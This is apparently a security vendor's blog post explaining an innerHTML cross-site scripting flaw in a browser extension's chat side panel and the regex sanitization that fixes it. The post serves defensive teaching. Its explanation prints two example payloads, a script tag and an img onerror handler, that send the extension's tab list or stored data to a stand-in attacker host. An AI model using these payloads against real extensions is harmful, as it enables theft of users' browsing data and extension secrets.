Back to Blog
critical SEVERITY6 min read

How innerHTML XSS happens in JavaScript browser extensions and how to fix it

A cross-site scripting (XSS) vulnerability in `sidepanel/panel.js` allowed injected `<script>` tags and inline event handlers to execute inside a privileged browser extension context. The `renderChat` function passed markdown-rendered assistant content directly to `row.innerHTML` without stripping dangerous HTML patterns. The fix applies targeted regex sanitization to remove script blocks and `on*` event handler attributes before the content reaches the DOM.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Cross-Site Scripting (XSS) vulnerability (CWE-79) in a browser extension's `sidepanel/panel.js` file, where the `renderChat` function assigned markdown-rendered HTML directly to `row.innerHTML` without sanitizing `<script>` tags or inline event handlers. Because the code runs in a privileged extension context, a malicious website or tampered data source could inject JavaScript that executes with extension-level permissions. The fix adds two chained `.replace()` calls to strip `<script>...</script>` blocks and `on*="..."` attribute patterns from the rendered output before it is written to the DOM.

Vulnerability at a Glance

cweCWE-79
fixChain `.replace()` calls on the `renderMarkdown()` output to remove script blocks and `on*` attributes before DOM insertion
riskAttacker-controlled script execution inside a privileged browser extension context
languageJavaScript
root causeMarkdown-rendered HTML assigned to `row.innerHTML` without stripping `<script>` tags or inline event handlers
vulnerabilityCross-Site Scripting (XSS) via unsafe innerHTML assignment

How innerHTML XSS Happens in JavaScript Browser Extensions and How to Fix It

Introduction

The sidepanel/panel.js file is the visual heart of this browser extension — it renders chat history, formats assistant responses, and displays them to the user. But inside the renderChat function, a single line quietly created a high-severity security hole: markdown-rendered content from an AI assistant was being written directly to row.innerHTML with no protection against embedded <script> tags or inline event handlers.

// Vulnerable code — line 1876 before the fix
row.innerHTML = renderMarkdown(m.content);

This matters because browser extensions operate in a privileged context. Unlike a normal web page sandboxed to its own origin, an extension's side panel can access extension APIs, interact with browser tabs, and read data that ordinary web content cannot touch. Any JavaScript that executes here does so with those elevated capabilities — making XSS in an extension far more dangerous than XSS on a typical website.


The Vulnerability Explained

What renderMarkdown produces — and why that's a problem

renderMarkdown() is a markdown-to-HTML converter. Its job is to take plain text like **bold** or # Heading and return formatted HTML. That's fine for legitimate markdown. But markdown renderers often pass through raw HTML — it's a feature, not a bug, in most implementations.

If the content of m.content (the assistant's message) contains something like:

<script>chrome.tabs.query({}, function(tabs){ fetch('https://evil.example/steal?t='+JSON.stringify(tabs)); });</script>

…then renderMarkdown() would return that string largely intact, and row.innerHTML = renderMarkdown(m.content) would inject it directly into the DOM, causing the browser to execute it.

The same risk applies to inline event handlers:

<img src="x" onerror="chrome.storage.local.get(null, d => fetch('https://evil.example/?d='+JSON.stringify(d)))">

Because onerror is a valid HTML attribute, the markdown renderer would not strip it, and the browser would fire it the moment the broken image tag is parsed.

The attack surface

The extension stores and replays chat history. A malicious website could craft a response that includes injected HTML payloads. If that response is saved and later displayed in the side panel, the payload executes in the extension context — potentially:

  • Exfiltrating browser history or open tabs via chrome.tabs
  • Reading extension storage via chrome.storage
  • Making credentialed requests on behalf of the user
  • Silently modifying extension settings

The existing escapeHtml() helper in the file is correctly applied to user-typed messages (the else branch uses row.textContent), but the assistant role branch bypassed this protection entirely in favor of rich formatting.


The Fix

What changed in renderChat

The fix is applied at line 1876 of sidepanel/panel.js. Here is the before/after comparison:

Before:

row.innerHTML = renderMarkdown(m.content);

After:

row.innerHTML = renderMarkdown(m.content)
  .replace(/<script[\s\S]*?<\/script>/gi, '')
  .replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '');

Breaking down the two .replace() calls

First replace — strips <script> blocks:

.replace(/<script[\s\S]*?<\/script>/gi, '')
  • <script[\s\S]*?<\/script> matches any <script>...</script> block, including multiline ones ([\s\S] matches newlines too)
  • The g flag removes all occurrences, not just the first
  • The i flag makes it case-insensitive (<SCRIPT>, <Script>, etc.)

Second replace — strips inline event handlers:

.replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '')
  • \s+on\w+ matches any attribute starting with on (e.g., onerror, onclick, onmouseover)
  • \s*=\s*(?:"[^"]*"|'[^']*') matches both double- and single-quoted attribute values
  • This removes patterns like onerror="..." or onclick='...' from any tag in the rendered output

Together, these two patterns eliminate the two most common vectors for script injection through HTML: explicit <script> tags and event-handler attributes.

Why this approach is scoped correctly

The fix only touches the assistant message rendering path. The user message path already uses row.textContent, which is inherently safe. The change tightens one specific assignment without altering the markdown rendering logic or breaking legitimate formatting like bold, italics, headers, or code blocks.


Prevention & Best Practices

1. Prefer textContent when rich HTML is not needed

If a string should appear as text — not HTML — always use element.textContent = value. It is impossible to inject HTML through textContent.

2. Use DOMPurify for rich HTML sanitization

For cases where you genuinely need to render HTML from untrusted sources, use a battle-tested library:

import DOMPurify from 'dompurify';
row.innerHTML = DOMPurify.sanitize(renderMarkdown(m.content));

DOMPurify maintains a comprehensive allowlist of safe tags and attributes and is actively maintained against bypass techniques. It is the industry standard for client-side HTML sanitization.

3. Apply a Content Security Policy (CSP)

Browser extensions support CSP in their manifest. A strict policy like:

"content_security_policy": {
  "extension_pages": "script-src 'self'; object-src 'none';"
}

…prevents inline scripts from executing even if they are injected into the DOM, providing defense-in-depth.

4. Audit all innerHTML assignments in extension code

Run a project-wide search for innerHTML and review each assignment. Ask: "Could the value assigned here ever contain attacker-controlled content?" If yes, apply sanitization.

5. Use ESLint with security rules

The eslint-plugin-no-unsanitized plugin flags unsafe innerHTML assignments automatically. Adding it to your CI pipeline catches this class of bug before it reaches production.

Relevant standards


Key Takeaways

  • The renderChat function in panel.js was the specific injection point — the assistant role branch used innerHTML while the user role branch safely used textContent, an inconsistency that created a blind spot.
  • Markdown renderers can pass through raw HTML, meaning renderMarkdown(m.content) is not a safe intermediary — its output must be treated as untrusted HTML.
  • Browser extension XSS is higher severity than web XSS because the injected code runs with extension-level API access, not just page-level access.
  • Regex sanitization is a valid short-term fix, but for long-term maintainability, replacing the two .replace() calls with DOMPurify provides broader coverage and easier auditability.
  • The existing escapeHtml() helper in the file was never applied to the assistant code path — always verify that sanitization helpers are applied consistently across all rendering branches, not just some of them.

How Orbis AppSec Detected This

  • Source: The m.content field of assistant messages in the chat history — content that originates from external AI responses or saved page data and is not controlled by the application.
  • Sink: row.innerHTML = renderMarkdown(m.content) at line 1876 of sidepanel/panel.js, inside the renderChat function's assistant role branch.
  • Missing control: No sanitization was applied to the output of renderMarkdown() before DOM insertion. The escapeHtml() helper defined elsewhere in the file was not used on this code path.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Two chained .replace() calls were added to strip <script>...</script> blocks and on*="..." event handler attributes from the rendered HTML before it is assigned to row.innerHTML.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single innerHTML assignment in renderChat — one that looked reasonable on the surface because it was rendering formatted markdown — opened a path for script injection in a privileged browser extension context. The root cause was an inconsistency: user messages were protected by textContent, but assistant messages were not, leaving the rendering pipeline exposed to anything a markdown renderer would pass through.

The fix is targeted and effective: two regex replacements remove the two most exploitable HTML injection vectors (<script> blocks and on* event handlers) directly on the output of renderMarkdown(). For teams maintaining similar extension code, the lesson is clear — every innerHTML assignment deserves scrutiny, and markdown renderers are not sanitizers.


References

Frequently Asked Questions

What is innerHTML XSS in a browser extension?

It occurs when untrusted or externally-sourced HTML is assigned to `element.innerHTML` inside an extension, allowing injected `<script>` tags or event handlers to run with the extension's elevated permissions.

How do you prevent innerHTML XSS in JavaScript?

Prefer `textContent` for plain text, use a trusted sanitization library like DOMPurify for rich HTML, or apply strict regex/allowlist filtering before assigning to `innerHTML`.

What CWE is innerHTML XSS?

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is escaping HTML enough to prevent XSS when using innerHTML?

Not always. If the content passes through a markdown renderer that intentionally produces HTML (like `renderMarkdown()`), escaping alone may re-introduce tags. You must also strip or allowlist the rendered output.

Can static analysis detect innerHTML XSS?

Yes. Tools like Semgrep, ESLint with security plugins, and CodeQL can flag direct assignments of unvalidated strings to `innerHTML`, especially when the source passes through transformation functions.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #17

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

critical

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

high

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the